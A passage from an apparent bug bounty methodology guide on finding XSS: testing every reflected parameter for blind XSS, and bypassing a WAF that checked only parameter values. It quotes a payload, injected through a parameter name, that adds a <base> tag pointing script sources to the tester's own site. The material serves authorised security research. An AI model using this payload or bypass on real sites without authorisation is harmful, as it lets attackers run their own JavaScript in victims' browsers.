along with an alert box. This means your inputted string was reflected as valid HTML and it is vulnerable to XSS.

I test **every parameter I find that is reflected** not only for reflective XSS but for blind XSS as well. Since bug bounties are blackbox testing we literally have *no idea* how the server is processing the parameters, so why not try? It may be stored somewhere that may fire one day. Not many researcher's test every parameter for blind XSS, they think, "*what are the chances of it executing?*". Quite high, my friend, and what are you losing by trying? Nothing, you just have something to gain like a notification that your blind XSS has executed!

The most common problem I run into with XSS is filters and WAFs (Web Application Firewall). WAFs are usually the trickiest to bypass because they are usually running some type of regex and if it's up to date, it'll be looking for everything. With that said sometimes bypasses do exist and an example of this is when I was faced against Akamai WAF. I noticed they were only doing checks on the parameter **values**, and not the actual parameters **names**. The target in question was reflecting the parameter names and values as JSON.

```
<script>{“paramname”:”value”}</script>
```

I managed to use the payload below to change any links after the payload to **my** site which enabled me to run my own javascript (since it changed <script src=> links to my website). Notice how the payload is the parameter NAME, not value.

```
?"></script><base%20c%3D=href%3Dhttps:\mysite>
```

When testing against WAF's there is no clear cut method to bypass them. A lot of it is trial and error and figuring out what works and doesn’t. if I'm honest I recommend viewing others' research on it to see what succeeded in the past and work from there (since they would have likely been patched so you’d need to figure out a new bypass. **Remember I said about creating a lead**?). Check out https://github.com/0xInfection/Awesome-WAF for awesome research on WAFs and make sure to show your support if it helps you.